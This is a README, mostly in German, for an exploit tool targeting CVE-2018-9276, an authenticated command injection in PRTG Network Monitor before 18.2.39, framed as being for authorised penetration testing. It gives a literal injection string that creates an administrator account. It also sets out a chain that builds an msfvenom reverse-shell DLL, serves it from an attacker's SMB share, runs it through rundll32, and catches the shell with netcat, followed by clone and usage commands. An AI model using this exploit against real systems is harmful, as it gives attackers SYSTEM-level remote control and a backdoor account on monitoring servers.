
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugte Nutzung ist illegal.
PRTG Network Monitor ist ein Netzwerküberwachungstool, das von der Paessler AG entwickelt wurde. Versionen vor 18.2.39 sind anfällig für eine authentifizierte Befehlseinschleusung über die Benachrichtigungsfunktion, die es einem Angreifer mit gültigen Anmeldedaten ermöglicht, Remote-Code-Ausführung (RCE) als Local System (das Standarddienstkonto für PRTG-Installationen) zu erreichen.
Diese Schwachstelle wurde während eines Penetrationstests von Josh Berry entdeckt und an die Paessler AG gemeldet, die am 20. April 2018 einen Patch veröffentlichte. Sie erhielt die Bezeichnung CVE-2018-9276.
PRTG enthält ein Benachrichtigungssystem, mit dem Administratoren Skripte ausführen können, wenn bestimmte Ereignisse eintreten. Um eine willkürliche Codeausführung zu verhindern, beschränkt PRTG die ausführbaren Skripte auf diejenigen, die sich in einem bestimmten Verzeichnis auf dem Server befinden. Standardmäßig sind nur zwei Demo-Skripte verfügbar:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1Das PowerShell-Demo-Skript (OutFile.ps1) übergibt den Wert aus dem Parameter-Feld einer Benachrichtigung direkt ohne jegliche Bereinigung an das Skript. Dadurch ist es möglich, beliebige PowerShell-Befehle einzuschleusen, indem man sie nach einem Semikolon anhängt:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
Wenn PRTG die Benachrichtigung ausführt, wird der eingeschleuste Befehl mit Local System-Berechtigungen ausgeführt.
Hinweis: Das Batch-Skript (
OutFile.bat) ist nicht anfällig – Paessler scheint die Eingabe zu bereinigen, bevor sie an die Batch-Datei übergeben wird. Die Einschleusung funktioniert nur über das.ps1-Skript.
Der Exploit automatisiert die folgenden Schritte:
1. Check server version → confirm target is vulnerable
2. Authenticate → obtain a valid session cookie
3. Stage a file notification → initialise a writable output file on the target
4. Trigger the file notification → execute it via /api/notificationtest.htm
5. Generate a reverse shell DLL → msfvenom (windows/shell_reverse_tcp)
6. Host the DLL → serve it over SMB from the attacker machine
7. Stage a command notification → inject rundll32.exe <UNC_PATH>,0 after the output file
8. Trigger the command notification → execute the DLL on the target
9. Catch the reverse shell → nc -nvlp <LPORT>
PRTG erlaubt nur Skripte, die sich in seinem Installationsverzeichnis befinden, als Benachrichtigungen auszuführen, daher können wir nicht einfach eine beliebige Binärdatei hochladen und ausführen. Stattdessen gehen wir wie folgt vor:
msfvenom, um eine Windows-Reverse-Shell als .dll-Datei zu generieren..dll auf einer SMB-Freigabe auf dem Angreifer-Rechner.rundll32.exe \\attacker\share\payload.dll,0-Befehl über den PowerShell-Benachrichtigungsparameter ein.rundll32.exe kann eine DLL von einem UNC-Pfad laden und ausführen, wodurch die Einschränkung umgangen wird, welche Dateien PRTG direkt ausführen darf.
msfvenom (Teil des Metasploit-Frameworks)netcat (nc)impacket – nur für den integrierten SMB-Server erforderlich (optional, siehe --no-smb)pip install impacket
Falls Sie bereits eine Möglichkeit haben, die DLL zu hosten (z. B.
impacket-smbserver, Metasploitsexploit/multi/handleroder einen anderen SMB-Server), können Sie impacket vollständig mit--no-smbund--shell-locationüberspringen.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # only impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Target IP or hostname
-p, --port Target port (e.g. 80 or 443)
--lhost Local IP for the reverse shell callback
--lport Local port for the reverse shell callback
--user PRTG username (default: prtgadmin)
--password PRTG password (default: prtgadmin)
--https Use HTTPS (self-signed certificates accepted)
--no-smb Skip the built-in SMB server (payload already hosted)
--shell-location Override the UNC path to the DLL payload
-v, --verbose Enable verbose / debug output
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support
# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) senken die Hürde für die Ausnutzung drastisch.| Feld | Wert |
|---|
| CVE | CVE-2018-9276 |
| Betroffen | PRTG Network Monitor < 18.2.39 |
| Typ | Authentifizierte Befehlseinschleusung |
| Berechtigungen | Erfordert gültige PRTG-Anmeldedaten |
| Auswirkung | Remote-Code-Ausführung als Local System |
| CVSS-Score | 7.2 (Hoch) |
| Patch | PRTG 18.2.39 (veröffentlicht am 20. April 2018) |